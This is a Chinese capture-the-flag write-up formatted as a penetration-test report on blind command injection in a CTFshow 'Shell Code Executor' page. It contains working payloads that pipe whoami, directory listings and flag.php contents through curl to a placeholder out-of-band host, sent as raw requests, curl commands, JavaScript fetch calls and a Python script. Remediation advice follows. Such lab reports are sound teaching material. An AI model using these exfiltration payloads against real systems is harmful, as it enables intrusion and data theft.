文章总结: 本文记录了在CTFshow靶场中利用ShellCodeExecutor页面的code参数进行命令注入测试的过程。通过BurpSuite和OOB带外通信技术,确认存在盲命令执行漏洞,成功外带系统信息并读取flag.php文件。报告详细展示了从基础验证到文件定位的完整渗透测试流程,提供了具体的curl命令示例和风险等级评估。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,安全工具
BurpSuite+AI渗透测试(六):反弹shell构造
原创
yushao yushao
Web安全工具库
2026年6月10日 09:27 河南
在小说阅读器读本章
去阅读
#
本报告基于授权 CTF 靶场测试记录整理,仅用于复盘、学习与安全加固参考。 报告中已对目标地址、带外平台域名、Flag、关键敏感字符串等进行脱敏处理。 下文中的测试代码均使用占位符,请勿用于未授权环境。
1. 报告基本信息
| 项目 | 内容 |
| — | — |
| 测试目标 | CTFshow Shell Code Executor |
| 目标地址 | https://56660608-****-****-****-************.challenge.ctf.show/ |
| 测试类型 | Web 安全测试 / CTF 靶场 |
| 主要问题 | 后端存在系统命令执行能力,且无输出回显 |
| 测试方式 | 页面交互、HTTP 请求复现、OOB 带外回连验证 |
| 测试工具 | Chrome DevTools、Burp Suite、Burp Collaborator、curl |
| 测试账号 | 无需登录 |
| 发现账号权限 | ww****ta |
| 最终结果 | 成功定位并读取靶场 Flag 文件 |
| Flag 脱敏 | CTF{rev*****_**} |
2. 测试范围
2.1 测试目标
https://56660608-****-****-****-************.challenge.ctf.show/
2.2 目标页面信息
访问目标后,页面标题为:
Shell Code Executor
页面中存在一个多行文本框和一个执行按钮:
Enter Shell Code:
[textarea]
[Execute Code]
初步判断该页面允许用户提交命令或代码到后端执行。
3. 测试结论摘要
经测试,目标页面的 code 参数会被服务端直接执行。提交基础命令后,页面仅返回:
execute success!
但不返回命令执行结果,因此属于盲命令执行场景。
随后通过 OOB 带外回连方式验证:
- 1. 服务端可以执行系统命令;
- 2. 服务端可访问外网;
- 3. 目标环境中存在
curl/7.52.1; - 4. 当前执行用户为
w***ta; - 5. 可通过 HTTP POST 方式将命令执行结果外带;
- 6. 最终定位到敏感文件:
/var/www/html/flag.php
并成功读取其中内容。
4. 风险等级
| 风险项 | 等级 | | — | — | | 系统命令执行 | 严重 | | 敏感文件读取 | 严重 | | 出站网络访问未限制 | 高 | | 权限隔离不足 | 中 | | 无执行结果回显但可 OOB 外带 | 高 |
综合风险等级:严重
5. 漏洞描述
目标页面通过 POST 请求提交参数:
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=id
服务端接收到 code 参数后,会执行其中的系统命令。
页面响应中不直接回显命令结果,仅显示:
execute success!
因此常规页面无法直接看到命令输出。
但通过构造带外 HTTP 请求,例如让服务端执行:
curl http://<OOB_DOMAIN>/test
可在带外平台收到来自目标服务器的 HTTP 请求,从而确认命令执行成功。
6. 测试过程详情
6.1 页面访问与功能识别
访问目标地址后,页面结构如下:
CTFshow Shell Code Executor
Enter Shell Code:
[textarea]
Execute Code
提交测试命令:
id
页面返回:
Execution Result:
execute success!
说明后端执行了命令,但命令输出未展示在页面上。
6.2 抓包分析
通过 Burp Suite 抓包,发现请求格式如下:
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=id
响应状态码为:
200 OK
响应中包含:
<div class="result">execute success!</div>
说明 code 参数是核心测试入口。
6.3 基础命令执行验证
测试请求
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=id
返回结果
execute success!
虽然没有看到 id 的输出,但结合页面逻辑和后续带外回连结果,确认该参数存在命令执行行为。
6.4 OOB 带外连通性验证
由于命令结果不回显,需要使用带外平台验证命令执行结果。
生成一个 OOB 域名,报告中脱敏为:
<OOB_DOMAIN>
实际测试命令:
curl http://<OOB_DOMAIN>/test1
HTTP 请求复现
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=curl http://<OOB_DOMAIN>/test1
OOB 平台收到请求
GET /test1 HTTP/1.1
Host: <OOB_DOMAIN>
User-Agent: curl/7.52.1
Accept: /
结论
目标服务器具备:
1. curl 工具可用
2. 出站 HTTP 访问能力
3. code 参数确实可触发系统命令执行
6.5 当前执行用户确认
由于页面不回显命令结果,因此使用路径方式外带 whoami 输出。
测试命令
curl http://<OOB_DOMAIN>/$(whoami)
HTTP 请求
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=curl http://<OOB_DOMAIN>/$(whoami)
OOB 平台收到结果
GET /w**a HTTP/1.1
Host: <OOB_DOMAIN>
User-Agent: curl/7.52.1
Accept: /
结论
当前服务端命令执行用户为:
w*****a
6.6 目录枚举
最初尝试通过 URL 路径方式传输命令输出:
curl http://<OOB_DOMAIN>/$(ls /)
由于命令输出中存在换行、空格等字符,直接放入 URL 路径可能导致请求构造失败或被截断。
因此改用 HTTP POST 外带方式。
推荐外带方式一:管道传输
ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/
HTTP 请求示例
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/
OOB 平台收到内容
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
6.7 查找 Flag 文件
在 CTF 环境中,常见敏感目标文件包含 flag 关键词,因此使用 find 进行全目录搜索。
测试命令
find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/
HTTP 请求示例
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/
OOB 平台返回结果节选
/usr/lib/x86_64-linux-gnu/perl/5.24.1/bits/waitflags.ph
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/bin/dpkg-buildflags
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
...
/var/www/html/flag.php
...
关键发现
/var/www/html/flag.php
6.8 读取目标文件
确认 Flag 文件路径后,使用 cat 读取文件,并通过 POST 方式外带。
测试命令
cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/
HTTP 请求示例
POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/
OOB 平台收到内容
<?php
$flag = "CTF{reverse_****_use_**}";
7.1 页面表单提交格式
POST / HTTP/1.1
Host: <TARGET_HOST>
Content-Type: application/x-www-form-urlencoded
code=<COMMAND>
7.2 使用 curl 复现基础命令执行
curl -k -X POST "https://<TARGET_HOST>/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=id"
7.3 OOB 连通性验证
curl -k -X POST "https://<TARGET_HOST>/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=curl http://<OOB_DOMAIN>/test1"
7.4 外带当前用户
curl -k -X POST "https://<TARGET_HOST>/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=curl http://<OOB_DOMAIN>/\$(whoami)"
OOB 预期请求:
GET /www-data HTTP/1.1
Host: <OOB_DOMAIN>
7.5 通过 POST 外带目录列表
curl -k -X POST "https://<TARGET_HOST>/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"
7.6 查找 Flag 文件
curl -k -X POST "https://<TARGET_HOST>/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"
7.7 读取 Flag 文件
curl -k -X POST "https://<TARGET_HOST>/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "code=cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"
7.8 使用 JavaScript Fetch 提交测试命令
在浏览器 DevTools Console 中可使用以下方式提交:
fetch("/", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: newURLSearchParams({
code: "curl http://<OOB_DOMAIN>/test1"
})
}).then(async r => {
return {
status: r.status,
text: await r.text()
};
}).then(console.log);
7.9 使用 JavaScript Fetch 进行 OOB 外带
fetch("/", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: new URLSearchParams({
code: "whoami | curl -X POST --data-binary @- http://<OOB_DOMAIN>/"
})
}).then(async r => {
console.log("status:", r.status);
});
7.10 Python 自动化测试脚本
仅适用于授权靶场。 其中
<TARGET_URL>和<OOB_DOMAIN>需要替换为实际授权测试环境。
import requests
from urllib.parse import urljoin
TARGET_URL = "https://<TARGET_HOST>/"
OOB_DOMAIN = "<OOB_DOMAIN>"
session = requests.Session()
session.verify = False
defrun_command(command: str):
"""
向目标 code 参数提交命令。
注意:目标页面不回显命令输出,需结合 OOB 平台查看结果。
"""
data = {
"code": command
}
resp = session.post(
TARGET_URL,
data=data,
headers={
"Content-Type": "application/x-www-form-urlencoded"
},
timeout=10
)
print("[+] Status:", resp.status_code)
if"execute success"in resp.text:
print("[+] Page returned execute success")
else:
print("[!] No success marker found")
return resp.text
if __name__ == "__main__":
tests = [
f"curl http://{OOB_DOMAIN}/ping",
f"curl http://{OOB_DOMAIN}/$(whoami)",
f"ls / | curl -X POST --data-binary @- http://{OOB_DOMAIN}/",
f"find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://{OOB_DOMAIN}/",
f"cat /var/www/html/flag.php | curl -X POST --data-binary @- http://{OOB_DOMAIN}/",
]
for cmd in tests:
print("[*] Sending command:", cmd)
run_command(cmd)
8. 测试证据整理
8.1 首页页面
Title: Shell Code Executor
Form field: code
Button: Execute Code
8.2 基础命令返回
提交:
id
页面返回:
execute success!
8.3 OOB 回连证据
提交:
curl http://<OOB_DOMAIN>/test1
OOB 收到:
GET /test1 HTTP/1.1
Host: <OOB_DOMAIN>
User-Agent: curl/7.52.1
8.4 用户确认
提交:
curl http://<OOB_DOMAIN>/$(whoami)
OOB 收到:
GET /www-data HTTP/1.1
Host: <OOB_DOMAIN>
8.5 文件定位
提交:
find / -name '*flag*' 2>/dev/null
发现:
/var/www/html/flag.php
8.6 文件读取
提交:
cat /var/www/html/flag.php
OOB 收到:
<?php
$flag = "CTF{r*******}";
9. 漏洞成因分析
根据测试结果判断,目标服务端可能存在如下实现逻辑:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$code = $_POST['code'];
system($code);
echo "execute success!";
}
或类似的危险调用方式:
exec($_POST['code']);
shell_exec($_POST['code']);
passthru($_POST['code']);
popen($_POST['code'], "r");
proc_open($_POST['code'], ...);
该类代码直接将用户输入传入系统命令执行函数,未进行白名单限制、参数校验、沙箱隔离或权限控制,因此导致任意命令执行风险。
10. 影响分析
该漏洞可能导致:
- 1. 执行任意系统命令;
- 2. 读取 Web 目录下敏感文件;
- 3. 枚举系统目录结构;
- 4. 获取运行用户权限;
- 5. 通过 HTTP、DNS 等方式外带数据;
- 6. 在未限制出站网络的情况下,进一步建立交互式远程控制通道;
- 7. 造成服务器失陷、数据泄露或业务中断。
在本次靶场测试中,已验证可读取:
/var/www/html/flag.php
说明风险已达到敏感文件读取级别。
11. 修复建议
11.1 禁止直接执行用户输入
严禁将用户可控参数直接传入以下函数:
system()
exec()
shell_exec()
passthru()
popen()
proc_open()
如果业务确实需要执行命令,应使用严格白名单。
11.2 使用白名单机制
错误示例:
$cmd = $_POST['code'];
system($cmd);
安全示例:
$allowed = [
"date" => "/bin/date",
"uptime" => "/usr/bin/uptime"
];
$action = $_POST["action"] ?? "";
if (!isset($allowed[$action])) {
http_response_code(400);
exit("Invalid action");
}
$output = [];
$returnCode = 0;
exec($allowed[$action], $output, $returnCode);
echohtmlspecialchars(implode("\n", $output), ENT_QUOTES, "UTF-8");
11.3 参数化处理
如果必须传参,应避免拼接命令。
例如:
$filename = $_POST["filename"] ?? "";
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
http_response_code(400);
exit("Invalid filename");
}
$safeFile = escapeshellarg($filename);
$cmd = "/usr/bin/file " . $safeFile;
exec($cmd, $output);
注意:escapeshellarg() 只能降低风险,不能替代白名单和权限隔离。
11.4 限制 Web 服务权限
当前命令执行用户为:
w****a
建议:
- 1. Web 服务使用低权限账号运行;
- 2. 禁止 Web 用户读取敏感文件;
- 3. 敏感配置文件不应放在 Web 根目录;
- 4. Flag、密钥、数据库密码等不应存放在可被 Web 服务读取的位置。
11.5 限制出站网络
本次测试中,目标服务器可访问外部 OOB 域名,说明出站流量限制不足。
建议:
- 1. 默认禁止服务器主动访问外网;
- 2. 仅允许访问必要的业务目标;
- 3. 对 DNS、HTTP、HTTPS 出站请求进行审计;
- 4. 对异常 User-Agent,例如
curl、wget,进行告警; - 5. 对外连行为建立日志记录与安全监控。
11.6 容器与沙箱隔离
如果该功能是靶场或在线代码执行器,应进行强隔离:
- 1. 使用独立容器运行;
- 2. 禁止访问宿主机敏感路径;
- 3. 挂载只读文件系统;
- 4. 禁止访问
/proc、/sys等敏感目录; - 5. 限制 CPU、内存、进程数;
- 6. 禁止出站网络或仅开放必要流量;
- 7. 使用 seccomp、AppArmor、SELinux 等安全机制。
12. 安全加固示例
12.1 Docker 隔离示例
version: "3.8"
services:
code-runner:
image:php:8.2-apache
read_only:true
cap_drop:
-ALL
security_opt:
-no-new-privileges:true
pids_limit:64
mem_limit:256m
cpus:0.5
network_mode:none
volumes:
- ./html:/var/www/html:ro
12.2 Nginx 限制敏感文件访问
location ~* /(flag|secret|config|env) {
deny all;
return 403;
}
location ~ /\. {
deny all;
return 403;
}
12.3 PHP 禁用危险函数
在 php.ini 中配置:
disable_functions = system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec
注意:这不是唯一防护措施,应结合权限控制、沙箱和业务白名单共同使用。
该结果表明,服务端将用户输入直接作为系统命令执行,且未进行有效隔离和出站限制,风险等级为严重。建议立即移除危险命令执行逻辑,使用白名单机制替代,并加强权限隔离、网络出口控制和敏感文件保护。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Web安全工具库 yushao yushao《BurpSuite+AI渗透测试(六):反弹shell构造》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论